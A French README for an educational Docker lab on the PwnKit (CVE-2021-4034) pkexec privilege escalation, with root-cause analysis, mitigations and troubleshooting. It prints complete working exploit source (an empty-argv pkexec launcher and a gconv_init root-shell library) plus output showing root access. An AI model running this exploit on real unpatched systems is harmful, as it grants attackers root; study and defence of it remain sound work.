
PoC éducatif et analyse de la vulnérabilité d'escalade de privilèges locaux CVE-2021-4034 (PwnKit) dans pkexec de polkit, avec un laboratoire basé sur Docker pour une pratique concrète d'exploitation et de défense.
🔗 Projet original : berdav/CVE-2021-4034
Ce projet est une version analysée et modifiée à des fins éducatives basée sur l'original.
Sous licence MIT | Projet éducatif White Hat School
CVE-2021-4034 est une vulnérabilité d'élévation de privilèges locaux dans policykit-1 (PolicyKit) de Linux. Un utilisateur normal peut exécuter pkexec sans argument et exploiter une faille dans la structure mémoire du processus, ce qui amène glib à référencer à nouveau une chaîne de variable d'environnement qui aurait dû être filtrée, chargeant ainsi un fichier .so malveillant pour obtenir les privilèges root.
⚠️ Usage éducatif uniquement : ce code ne doit être utilisé que dans des systèmes modifiés. L'utiliser pour attaquer des systèmes réels peut entraîner des poursuites judiciaires.
Il est facile de penser qu'il s'agit d'un problème propre à Ubuntu, mais comme c'est un défaut de logique dans pkexec lui-même, la plupart des distributions utilisant polkit sont affectées. L'environnement de test Docker étant Ubuntu 20.04, j'ai noté cette version dans le tableau ci-dessus.
Au départ, j'ai pensé que c'était un problème dû à l'absence de validation des variables d'environnement, mais en examinant le code source et le commit de correction, j'ai réalisé que l'ordre était un peu différent. La véritable cause est ailleurs, et le problème des variables d'environnement est plutôt une conséquence de cette cause. Voici le flux réorganisé dans l'ordre des causes.
pkexec est un programme SUID-root qui demande une élévation de privilèges via PolicyKit.
# Exemple : exécuter une commande avec les privilèges root
pkexec /bin/id
pkexec systemctl restart service
Il est utilisé lorsqu'un utilisateur normal souhaite effectuer certaines tâches avec les droits d'administrateur.
argc == 0La fonction main() de pkexec, dans la partie traitant les arguments de la ligne de commande, ne vérifie pas le cas où aucun argument n'est fourni (argc == 0). C'est le véritable point de départ de cette vulnérabilité.
argv = {"pkexec", "commande", NULL} → argc >= 1execve("/usr/bin/pkexec", {NULL}, env) → argc == 0Lorsque argc est 0, la liste argv ne contient plus qu'un seul NULL indiquant la fin. Cependant, la logique interne de pkexec tente de lire et d'écrire dans argv[1] qui n'existe pas. Le problème est que Linux, lors de l'exécution d'un processus, place le tableau argv et le tableau envp (variables d'environnement) côte à côte en mémoire. Ainsi, l'accès à argv[1] hors limites pointe en fait vers envp[0], c'est-à-dire la première variable d'environnement.
Situation normale : argv = [ "pkexec" | NULL ]
Situation d'attaque : argv = [ NULL ] ← argc = 0
↑
Accès à argv[1] inexistant
↓
Lit et écrit dans envp[0] situé juste après en mémoire (hors limites)
Pourquoi est-ce dangereux :
GCONV_PATH, LD_PRELOAD avant l'exécution du programme SUID (pkexec) car elles sont considérées comme non sûres.argc < 1. (CWE-125 out-of-bounds read, CWE-787 out-of-bounds write)📌 En résumé : L'absence de validation des variables d'environnement est une 'condition permettant l'attaque', et la véritable cause racine est que pkexec ne gère pas le cas où argc == 0. Le point 3 ci-dessous est la conséquence de cette cause.
Grâce au comportement hors limites expliqué au point 2, lorsque pkexec initialise glib, cette chaîne est réutilisée sans être vérifiée.
// CVE-2021-4034_exploit.c
char * const env[] = {
"GCONV_PATH=.", // 원래는 ld.so가 걸러냈어야 함
"CHARSET=PWNKIT", // 존재하지 않는 인코딩
};
execve("/usr/bin/pkexec", args, env); // argv는 비워서 argc=0을 만듦
Problème :
Ce qui est important ici, c'est que glib lui-même n'est pas en faute. Si GCONV_PATH est défini, chercher un convertisseur dans ce chemin est un comportement normal de glib. Le problème est que pkexec a déjà brisé l'état d'exécution sécurisée (l'état où les variables d'environnement dangereuses ont été supprimées) — glib n'a fait que fonctionner normalement, mais ce fonctionnement normal est exploité.
Vérification de la variable d'environnement CHARSET
CHARSET=PWNKIT
Recherche de la définition du convertisseur dans le fichier gconv-modules
module UTF-8// PWNKIT// pwnkit 1
Chargement du fichier .so depuis GCONV_PATH
GCONV_PATH=. → cherche pwnkit.so dans le répertoire courant
Exécution automatique de la fonction d'initialisation du .so
// pwnkit.c - .so 파일 로드 시 자동으로 실행됨
void gconv_init(void *step)
{
setuid(0); // root 권한 획득
setgid(0);
execve("/bin/sh"); // root shell 실행!
}
On pourrait facilement appeler gconv_init une 'fonction constructeur', mais strictement parlant, ce n'est pas comme __attribute__((constructor)) en C. C'est précisément une fonction d'initialisation définie dans l'interface du module gconv, que glib appelle explicitement après avoir chargé le .so avec dlopen.
┌─────────────────────────────────────┐
│ Utilisateur normal (uid=1000) │
└─────────────────────────────────────┘
│
│ 1. Exécute pkexec avec argv vide (argc=0)
│ + variables d'environnement malveillantes
│ GCONV_PATH=. / CHARSET=PWNKIT
↓
┌─────────────────────────────────────┐
│ Exécution de pkexec │
│ Pas de vérification de argc → OOB │
│ → chaîne référencée à nouveau │
└─────────────────────────────────────┘
│
│ 2. glib traite normalement
│ Cherche l'encodage CHARSET=PWNKIT
│ Trouve le convertisseur dans GCONV_PATH=.
↓
┌─────────────────────────────────────┐
│ Chargement de pwnkit.so │
│ (fichier .so malveillant dans le │
│ répertoire courant) │
└─────────────────────────────────────┘
│
│ 3. Fonction d'initialisation gconv exécutée automatiquement (root !)
↓
┌─────────────────────────────────────┐
│ Obtention d'un shell root ✅ │
│ uid=0(root) gid=0(root) │
└─────────────────────────────────────┘
# 1. Récupérer le projet
git clone https://github.com/krleejihyeong/WHS4_CVE-2021-4034.git
cd WHS4_CVE-2021-4034
# 2. Vérifier la dernière version
git pull origin main
# 3. Construire (sans cache)
docker compose build --no-cache
# 4. Exécuter
docker compose up
Je recommande d'utiliser docker system prune -a --volumes --force uniquement si la méthode ci-dessus ne fonctionne pas à cause de caches ou de volumes corrompus. C'est une commande assez agressive qui supprime tous les caches Docker du système, ce qui peut également effacer les caches d'autres projets. J'ai détaillé cela dans la section 'Problèmes rencontrés et solutions' ci-dessous.
pwnkit | 현재 권한 (공격 전): uid=1000(WHS4_student)
pwnkit | # id
pwnkit | uid=0(root) gid=0(root) groups=0(root) ← 성공! ✅

WHS4_CVE-2021-4034/
├── docker-compose.yml # Configuration Docker Compose
├── Dockerfile # Environnement Ubuntu 20.04 vulnérable
├── start.sh # Initialisation et exécution automatique du conteneur
├── Makefile # Configuration de construction
├── CVE-2021-4034_exploit.c # Code d'exploit (appel à pkexec)
├── pwnkit.c # Fichier .so malveillant (élévation de privilèges)
├── gconv-modules # Mappage du convertisseur glib
├── README.md # Ce fichier
└── LICENSE # License MIT
#include <unistd.h>
int main(int argc, char *argv[])
{
// pkexec에 실행할 프로그램을 지정하지 않음
// (args에 NULL만 있음) → 이게 곧 argc=0을 만드는 부분
char * const args[] = {
NULL
};
// 🔴 검증되지 않은 악의적 환경변수
// argc=0으로 인한 OOB 덕분에 다시 참조 가능해져 pkexec에 그대로 전달됨
char * const env[] = {
"GCONV_PATH=.", // converter 경로 (현재 디렉토리)
"CHARSET=PWNKIT", // 존재하지 않는 인코딩
"SHELL=/bin/sh",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
NULL
};
// pkexec 실행 (인자 없이 → argc=0 트리거)
execve("/usr/bin/pkexec", args, env);
return 0;
}
Points clés :
args ne contient même pas le nom de pkexec lui-même, ce qui fait que argc = 0 → déclenche la cause racine (absence de vérification de argc)GCONV_PATH=. : après être redevenu référençable via l'OOB, glib cherche un convertisseur dans ce cheminCHARSET=PWNKIT : incite glib à chercher un convertisseur pour cet encodage#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// .so 파일을 converter로 인식하기 위한 함수 (형식상 필요)
void gconv()
{
}
// 🎯 CVE-2021-4034의 핵심
// .so 파일 로드 시 glib이 dlopen 후 명시적으로 호출하는 초기화 함수
// 이 함수가 root 권한으로 실행된다! ← 핵심 취약점!
void gconv_init(void *step)
{
char * const args[] = {
"/bin/sh", // root shell 실행
NULL
};
char * const env[] = {
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
NULL
};
// root 권한 명시적 설정 (이미 root이지만)
setuid(0);
setgid(0);
// root shell 실행 ← 권한 상승 성공!
execve(args[0], args, env);
exit(0);
}
Points clés :
gconv_init() n'est pas un attribut de constructeur C, mais une fonction d'initialisation que glib appelle directement après dlopen selon les spécifications de l'interface du module gconvsetuid(0), l'exécution d'un shell donne directement un shell root$ id
uid=1000(WHS4_student) gid=1000(WHS4_student) groups=1000(WHS4_student),27(sudo)
$ cat /etc/shadow
cat: /etc/shadow: Permission denied

En réalité, cette capture d'écran a été prise lors de la première réussite de l'exploit et montre les autorisations de l'utilisateur ci-dessus.
$ ./CVE-2021-4034_exploit
Remarque : l'exploit lui-même ne nécessite pas sudo. Comme pkexec est déjà un binaire SUID-root, obtenir un shell root avec seulement les privilèges d'un utilisateur normal est le cœur de cette vulnérabilité. J'ai utilisé
sudo -Edans l'environnement Docker de test, mais c'était pour faciliter l'exécution en vérifiant la configuration NOPASSWD, sans rapport avec la vulnérabilité elle-même.
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /etc/shadow
root:*:18783:0:99999:7:::
daemon:*:18783:0:99999:7:::
... (contenu visible uniquement par root)

On voit ci-dessus que les privilèges root sont obtenus après l'attaque. Pour une vue plus complète avant et après l'attaque, je recommande de regarder la capture d'écran dans la section ### Autorisations réelles avant l'attaque ci-dessus.
✅ Élévation de privilèges réussie !
Reproduction réussie dans un environnement Docker basé sur Ubuntu 20.04 (policykit-1 0.105-26ubuntu1). Le nombre de tests répétés n'étant pas encore élevé, je prévois de faire quelques exécutions supplémentaires en changeant les versions du noyau et de la distribution, puis de compléter les résultats.
# 1. Mise à jour du correctif (recommandé)
sudo apt-get update
sudo apt-get install policykit-1=0.105-26ubuntu1.1
# Vérification de la version
dpkg -l | grep policykit-1
# Doit être 0.105-26ubuntu1.1 ou supérieur
# Modifier /etc/sudoers (sudo visudo)
Defaults env_delete = "GCONV_PATH,GCONV_MODULES,CHARSET"
unset GCONV_PATH
unset GCONV_MODULES
unset CHARSET
Le correctif est la solution fondamentale, les deux mesures ci-dessus sont des solutions temporaires utilisables avant le correctif. La validation de argc elle-même est un problème qui ne peut être résolu qu'en corrigeant le code de pkexec, donc simplement bloquer les variables d'environnement ne l'empêchera pas complètement.
docker-compose introuvableCause : Sur Ubuntu 24.04, docker-compose (v1) n'est pas disponible, seul docker compose (v2) est présent.
Solution :
# Utiliser la commande docker compose (v2)
docker compose up
Cause : La configuration NOPASSWD du Dockerfile n'est pas correctement appliquée (problème de cache Docker).
Solution :
docker compose build --no-cache
docker compose up
Si cela ne fonctionne toujours pas, effacez complètement le cache et réessayez.
docker compose down -v
docker system prune -a --volumes --force
docker compose up --build --no-cache
Cause : Les fichiers locaux restent sur une version antérieure.
Solution :
# Récupérer la dernière version depuis GitHub
git pull origin main
# Vérifier les fichiers
cat Dockerfile | grep NOPASSWD
cat start.sh | grep "nofork=false"
# Reconstruire
docker compose up --build --no-cache
Cause : Un conteneur existant persiste.
Solution :
# Supprimer le conteneur
docker compose down
docker rm pwnkit -f
# Relancer
docker compose up
Cause : Les fichiers créés par Docker appartiennent à root.
Solution :
# Sous WSL/Linux
sudo rm -rf WHS4_CVE-2021-4034
Auteur : krleejihyeong
Parties nouvellement créées/modifiées :
Ce projet est sous licence MIT.
Copyright (c) 2026 krleejihyeong (Modifications et analyse)
Copyright (c) 2021 berdav (PoC original)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
Pour plus de détails, consultez le fichier LICENSE.
Ce projet a été créé à des fins purement éducatives.
L'accès non autorisé à un système informatique peut être pénalement sanctionné.
Dernière mise à jour : juillet 2026
| Élément | Détail |
|---|
| CVE ID | CVE-2021-4034 |
| Nom de la vulnérabilité | PwnKit |
| Versions affectées | Toutes les versions de polkit antérieures à 0.105 sans correctif (environnement de test : policykit-1 0.105-26ubuntu1 sur Ubuntu 20.04) |
| Type de vulnérabilité | Local Privilege Escalation (LPE) |
| Sévérité | Critique (CVSS 7.8) |
| Version corrigée | policykit-1 >= 0.105-26ubuntu1.1 |
| Date de découverte | Juin 2021 (divulguée en janvier 2022) |